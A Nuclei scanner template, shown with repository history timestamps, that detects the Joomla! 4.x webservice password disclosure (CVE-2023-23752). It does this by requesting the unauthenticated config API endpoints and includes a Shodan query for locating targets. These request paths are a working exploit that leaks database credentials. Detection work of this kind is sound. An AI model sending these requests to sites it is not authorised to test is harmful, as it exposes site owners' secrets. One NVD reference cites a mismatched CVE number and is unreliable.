nuclei-templates/http/cves/2023/CVE-2023-23752.yaml

55 lines
1.5 KiB
YAML
Raw Normal View History

2023-02-17 09:11:40 +00:00
id: CVE-2023-23752
info:
name: Joomla! Webservice - Password Disclosure
author: badboycxcc,Sascha Brendel
severity: medium
2023-02-17 09:11:40 +00:00
description: |
An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints.
reference:
- https://unsafe.sh/go-149780.html
- https://twitter.com/gov_hack/status/1626471960141238272/photo/1
- https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-23552
remediation: Upgrade to Joomla! version 4.2.8 or later.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2023-23752
cpe: cpe:2.3:a:joomla:joomla\!:*:*:*:*:*:*:*:*
epss-score: 0.9138
2023-02-17 09:11:40 +00:00
metadata:
max-request: 2
2023-02-17 09:11:40 +00:00
shodan-query: html:"Joomla! - Open Source Content Management"
2023-06-04 08:13:42 +00:00
verified: true
2023-02-17 09:11:40 +00:00
tags: cve,cve2023,joomla
http:
2023-02-17 09:11:40 +00:00
- method: GET
path:
- '{{BaseURL}}/api/index.php/v1/config/application?public=true'
- '{{BaseURL}}/api/v1/config/application?public=true'
2023-02-17 09:11:40 +00:00
stop-at-first-match: true
2023-02-17 09:11:40 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2023-02-18 14:58:21 +00:00
- '"links":'
2023-02-17 09:11:40 +00:00
- '"attributes":'
condition: and
2023-02-18 07:36:17 +00:00
- type: word
part: header
words:
- 'application/json'
2023-02-18 14:58:21 +00:00
- 'application/vnd.api+json'
condition: or
2023-02-18 07:36:17 +00:00
2023-02-17 09:11:40 +00:00
- type: status
status:
- 200
# Enhanced by cs 02/23/2023